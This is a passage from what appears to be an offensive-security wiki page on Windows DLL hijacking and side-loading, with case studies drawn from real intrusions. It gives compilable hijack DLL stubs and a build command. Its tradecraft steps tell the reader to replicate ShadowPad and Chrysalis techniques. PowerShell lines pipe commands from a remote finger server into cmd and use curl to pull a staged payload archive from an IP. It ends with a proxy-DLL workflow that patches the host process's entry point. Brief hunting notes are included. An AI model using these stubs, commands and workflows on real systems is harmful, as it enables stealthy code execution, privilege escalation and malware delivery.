malicious `hostfxr.dll` stub in the same directory, exploiting the missing DLL to achieve code execution under the user's context: 579 580 ```c 581 #include <windows.h> 582 583 BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) { 584 if (fdwReason == DLL_PROCESS_ATTACH) { 585 // Payload: display a message box (proof-of-concept) 586 MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK); 587 } 588 return TRUE; 589 } 590 ``` 591 592 ### Attack Flow 593 594 1. As a standard user, drop `hostfxr.dll` into `C:\ProgramData\Lenovo\TPQM\Assistant\`. 595 2. Wait for the scheduled task to run at 9:30 AM under the current user's context. 596 3. If an administrator is logged in when the task executes, the malicious DLL runs in the administrator's session at medium integrity. 597 4. Chain standard UAC bypass techniques to elevate from medium integrity to SYSTEM privileges. 598 599 ## Case Study: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe) 600 601 Threat actors frequently pair MSI-based droppers with DLL side-loading to execute payloads under a trusted, signed process.<sup>[[10]](#references)</sup> 602 603 Chain overview 604 - User downloads MSI. A CustomAction runs silently during the GUI install (e.g., LaunchApplication or a VBScript action), reconstructing the next stage from embedded resources. 605 - The dropper writes a legitimate, signed EXE and a malicious DLL to the same directory (example pair: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll). 606 - When the signed EXE is started, Windows DLL search order loads wsc.dll from the working directory first, executing attacker code under a signed parent (ATT&CK T1574.001). 607 608 MSI analysis (what to look for) 609 - CustomAction table: 610 - Look for entries that run executables or VBScript. Example suspicious pattern: LaunchApplication executing an embedded file in background. 611 - In Orca (Microsoft Orca.exe), inspect CustomAction, InstallExecuteSequence and Binary tables. 612 - Embedded/split payloads in the MSI CAB: 613 - Administrative extract: msiexec /a package.msi /qb TARGETDIR=C:\out 614 - Or use lessmsi: lessmsi x package.msi C:\out 615 - Look for multiple small fragments that are concatenated and decrypted by a VBScript CustomAction. Common flow: 616 617 ```text 618 ' VBScript CustomAction (high level) 619 ' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...) 620 ' 2) Concatenate with ADODB.Stream or FileSystemObject 621 ' 3) Decrypt using a hardcoded password/key 622 ' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll) 623 ``` 624 625 Practical sideloading with wsc_proxy.exe 626 - Drop these two files in the same folder: 627 - wsc_proxy.exe: legitimate signed host (Avast). The process attempts to load wsc.dll by name from its directory. 628 - wsc.dll: attacker DLL. If no specific exports are required, DllMain can suffice; otherwise, build a proxy DLL and forward required exports to the genuine library while running payload in DllMain. 629 - Build a minimal DLL payload: 630 631 ```c 632 // x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll 633 #include <windows.h> 634 BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) { 635 if (r == DLL_PROCESS_ATTACH) { 636 WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE); 637 } 638 return TRUE; 639 } 640 ``` 641 642 - For export requirements, use a proxying framework (e.g., DLLirant/Spartacus) to generate a forwarding DLL that also executes your payload. 643 644 - This technique relies on DLL name resolution by the host binary. If the host uses absolute paths or safe loading flags (e.g., LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories), hijack may fail. 645 - KnownDLLs, SxS, and forwarded exports can influence precedence and must be considered during selection of the host binary and export set. 646 647 ## Signed triads + encrypted payloads (ShadowPad case study) 648 649 Check Point described how Ink Dragon deploys ShadowPad using a **three-file triad** to blend in with legitimate software while keeping the core payload encrypted on disk:<sup>[[12]](#references)</sup> 650 651 1. **Signed host EXE** – vendors such as AMD, Realtek, or NVIDIA are abused (`vncutil64.exe`, `ApplicationLogs.exe`, `msedge_proxyLog.exe`). The attackers rename the executable to look like a Windows binary (for example `conhost.exe`), but the Authenticode signature remains valid. 652 2. **Malicious loader DLL** – dropped next to the EXE with an expected name (`vncutil64loc.dll`, `atiadlxy.dll`, `msedge_proxyLogLOC.dll`). The DLL is usually an MFC binary obfuscated with the ScatterBrain framework; its only job is to locate the encrypted blob, decrypt it, and reflectively map ShadowPad. 653 3. **Encrypted payload blob** – often stored as `<name>.tmp` in the same directory. After memory-mapping the decrypted payload, the loader deletes the TMP file to destroy forensic evidence. 654 655 Tradecraft notes: 656 657 * Renaming the signed EXE (while keeping the original `OriginalFileName` in the PE header) lets it masquerade as a Windows binary yet retain the vendor signature, so replicate Ink Dragon’s habit of dropping `conhost.exe`-looking binaries that are really AMD/NVIDIA utilities. 658 * Because the executable stays trusted, most allowlisting controls only need your malicious DLL to sit alongside it. Focus on customizing the loader DLL; the signed parent can typically run untouched. 659 * ShadowPad’s decryptor expects the TMP blob to live next to the loader and be writable so it can zero the file after mapping. Keep the directory writable until the payload loads; once in memory the TMP file can safely be deleted for OPSEC. 660 661 ### LOLBAS stager + staged archive sideloading chain (finger → tar/curl → WMI) 662 663 Operators pair DLL sideloading with LOLBAS so the only custom artifact on disk is the malicious DLL next to the trusted EXE:<sup>[[1]](#references)</sup> 664 665 - **Remote command loader (Finger):** Hidden PowerShell spawns `cmd.exe /c`, pulls commands from a Finger server, and pipes them to `cmd`: 666 667 ```powershell 668 powershell.exe Start-Process cmd -ArgumentList '/c finger Galo@91.193.19.108 | cmd' -WindowStyle Hidden 669 ``` 670 - `finger user@host` pulls TCP/79 text; `| cmd` executes the server response, letting operators rotate second stage server-side. 671 672 - **Built-in download/extract:** Download an archive with a benign extension, unpack it, and stage the sideload target plus DLL under a random `%LocalAppData%` folder: 673 674 ```powershell 675 $base = "$Env:LocalAppData"; $dir = Join-Path $base (Get-Random); curl -s -L -o "$dir.pdf" 79.141.172.212/tcp; mkdir "$dir"; tar -xf "$dir.pdf" -C "$dir"; $exe = "$dir\intelbq.exe" 676 ``` 677 - `curl -s -L` hides progress and follows redirects; `tar -xf` uses Windows' built-in tar. 678 679 - **WMI/CIM launch:** Start the EXE via WMI so telemetry shows a CIM-created process while it loads the colocated DLL: 680 681 ```powershell 682 Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = "`"$exe`""} 683 ``` 684 - Works with binaries that prefer local DLLs (e.g., `intelbq.exe`, `nearby_share.exe`); payload (e.g., Remcos) runs under the trusted name. 685 686 - **Hunting:** Alert on `forfiles` when `/p`, `/m`, and `/c` appear together; uncommon outside admin scripts. 687 688 689 ## Case Study: NSIS dropper + Bitdefender Submission Wizard sideload (Chrysalis) 690 691 A recent Lotus Blossom intrusion abused a trusted update chain to deliver an NSIS-packed dropper that staged a DLL sideload plus fully in-memory payloads.<sup>[[13]](#references)</sup> 692 693 Tradecraft flow 694 - `update.exe` (NSIS) creates `%AppData%\Bluetooth`, marks it **HIDDEN**, drops a renamed Bitdefender Submission Wizard `BluetoothService.exe`, a malicious `log.dll`, and an encrypted blob `BluetoothService`, then launches the EXE. 695 - The host EXE imports `log.dll` and calls `LogInit`/`LogWrite`. `LogInit` mmap-loads the blob; `LogWrite` decrypts it with a custom LCG-based stream (constants **0x19660D** / **0x3C6EF35F**, key material derived from a prior hash), overwrites the buffer with plaintext shellcode, frees temps, and jumps to it. 696 - To avoid an IAT, the loader resolves APIs by hashing export names using **FNV-1a basis 0x811C9DC5 + prime 0x1000193**, then applying a Murmur-style avalanche (**0x85EBCA6B**) and comparing against salted target hashes. 697 698 Main shellcode (Chrysalis) 699 - Decrypts a PE-like main module by repeating add/XOR/sub with key `gQ2JR&9;` over five passes, then dynamically loads `Kernel32.dll` → `GetProcAddress` to finish import resolution. 700 - Reconstructs DLL name strings at runtime via per-character bit-rotate/XOR transforms, then loads `oleaut32`, `advapi32`, `shlwapi`, `user32`, `wininet`, `ole32`, `shell32`. 701 - Uses a second resolver that walks the **PEB → InMemoryOrderModuleList**, parses each export table in 4-byte blocks with Murmur-style mixing, and only falls back to `GetProcAddress` if the hash is not found. 702 703 Embedded configuration & C2 704 - Config lives inside the dropped `BluetoothService` file at **offset 0x30808** (size **0x980**) and is RC4-decrypted with key `qwhvb^435h&*7`, revealing the C2 URL and User-Agent. 705 - Beacons build a dot-delimited host profile, prepend tag `4Q`, then RC4-encrypt with key `vAuig34%^325hGV` before `HttpSendRequestA` over HTTPS. Responses are RC4-decrypted and dispatched by a tag switch (`4T` shell, `4V` process exec, `4W/4X` file write, `4Y` read/exfil, `4\\` uninstall, `4` drive/file enum + chunked transfer cases). 706 - Execution mode is gated by CLI args: no args = install persistence (service/Run key) pointing to `-i`; `-i` relaunches self with `-k`; `-k` skips install and runs payload. 707 708 Alternate loader observed 709 - The same intrusion dropped Tiny C Compiler and executed `svchost.exe -nostdlib -run conf.c` from `C:\ProgramData\USOShared\`, with `libtcc.dll` beside it. The attacker-supplied C source embedded shellcode, compiled, and ran in-memory without touching the disk with a PE. Replicate with: 710 711 ```batch 712 C:\ProgramData\USOShared\tcc.exe -nostdlib -run conf.c 713 ``` 714 715 - This TCC-based compile-and-run stage imported `Wininet.dll` at runtime and pulled a second-stage shellcode from a hardcoded URL, giving a flexible loader that masquerades as a compiler run. 716 717 ## Signed-host sideloading with export proxying + host thread parking 718 719 Some DLL sideloading chains add **stability engineering** so the legitimate host stays alive long enough to load later stages cleanly instead of crashing after the malicious DLL is loaded.<sup>[[11]](#references)</sup> 720 721 Observed pattern 722 - Drop a trusted EXE beside a malicious DLL using the expected dependency name such as `version.dll`. 723 - The malicious DLL **proxies every expected export** back to the real system DLL (for example `%SystemRoot%\\System32\\version.dll`) so import resolution still succeeds and the host process keeps working. 724 - After load, the malicious DLL **patches the host entry point** so the main thread falls into an infinite `Sleep` loop instead of exiting or running code paths that would terminate the process. 725 - A new thread performs the real malicious work: decrypting the next-stage DLL name or path (RC4/XOR are common), then launching it with `LoadLibrary`. 726 727 Why this matters 728 - Normal DLL proxying preserves API compatibility, but it doesn't guarantee the host stays alive long enough for later stages. 729 - Parking the main thread in `Sleep(INFINITE)` is a simple way to keep the signed process resident while the loader performs decryption, staging, or network bootstrap in a worker thread. 730 - Hunting only for a suspicious `DllMain` miss this pattern if the interesting behavior happens after the host entry point is patched and a secondary thread starts. 731 732 Minimal workflow 733 1. Copy the signed host EXE and determine the DLL it resolves from the local directory. 734 2. Build a proxy DLL exporting the same functions and forwarding them to the legitimate DLL. 735 3. In `DllMain(DLL_PROCESS_ATTACH)`, create a worker thread. 736 4. From that thread, patch the host entry point or main thread start routine so it loops on `Sleep`. 737 5. Decrypt the next-stage DLL name/config and call `LoadLibrary` or manual-map the payload. 738 739 Defensive pivots 740 - Signed processes loading `version.dll` or similarly common libraries from their own application directory instead of `System32`. 741 - Memory patches at the process entry point shortly after image load, especially jumps/calls redirected to `Sleep`/`SleepEx`. 742 - Threads created by a proxy DLL that immediately call `LoadLibrary` on a second DLL with a decrypted name. 743 - Full-export proxy DLLs placed next to vendor executables inside writable staging directories such as `ProgramData`, `%TEMP%`, or unpacked archive paths. 744 745 ## References 746 747 - [1] [Red Canary – Intelligence Insights: January 2026](https://redcanary.com/blog/threat-intelligence/intelligence-insights-january-2026/) 748 - [2] [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe) 749 - [3] [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng) 750 - [4] [Pranay Bafna – TCAPT: DLL Hijacking](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) 751 - [5] [cocomelonc – DLL hijacking in Windows. Simple C example.](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) 752 - [6] [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/) 753 - [7] [TrustedSec – Hack-cessibility: When DLL Hijacks Meet Windows Helpers](https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers) 754 - [8] [PoC – api0cradle/Narrator-dll](https://github.com/api0cradle/Narrator-dll) 755 - [9] [Sysinternals Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) 756 - [10] [Unit 42 – Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT](https://unit42.paloaltonetworks.com/impersonation-campaigns-deliver-gh0st-rat/) 757 - [11] [Unit 42 – Converging Interests: Analysis of Threat Clusters Targeting a Southeast Asian Government](https://unit42.paloaltonetworks.com/espionage-campaigns-target-se-asian-government-org/) 758 - [12] [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/) 759 - [13] [Rapid7 – The Chrysalis Backdoor: A Deep Dive into Lotus Blossom’s toolkit](https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit) 760 - [14] [0xdf – HTB Bruno ZipSlip → DLL hijack chain](https://0xdf.gitlab.io/2026/02/24/htb-bruno.html) 761 - [15] [Unit 42 – Tracking Iranian APT Screening Serpens’ 2026 Espionage Campaigns](https://unit42.paloaltonetworks.com/tracking-iran-apt-screening-serpens/) 762 - [16] [Microsoft Learn – `<appDomainManagerAssembly>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/appdomainmanagerassembly-element) 763 - [17] [Microsoft Learn – `<appDomainManagerType>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/appdomainmanagertype-element) 764 - [18] [Microsoft Learn – `<probing>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/probing-element) 765 - [19] [Microsoft Learn – `<bypassTrustedAppStrongNames>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/bypasstrustedappstrongnames-element) 766 - [20] [Microsoft Learn – `<publisherPolicy>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/runtime/publisherpolicy-element) 767 - [21] [Microsoft Learn – `<requiredRuntime>` element](https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/file-schema/startup/requiredruntime-element) 768 - [22] [Check Point Research – Fast and Furious: Nimbus Manticore Operations During the Iranian Conflict](https://research.checkpoint.com/2026/fast-and-furious-nimbus-manticore-operations-during-the-iranian-conflict/) 769 - [23] [Microsoft Learn – Task Actions](https://learn.microsoft.com/en-us/windows/win32/taskschd/task-actions) 770 - [24] [MITRE ATT&CK – T1574.014 AppDomainManager](https://attack.mitre.org/techniques/T1574/014/) 771 - [25] [Unit 42 – CL-STA-1062 Targets Southeast Asian Governments and Critical Infrastructure](https://unit42.paloaltonetworks.com/cl-sta-1062-tinyrct-backdoor/)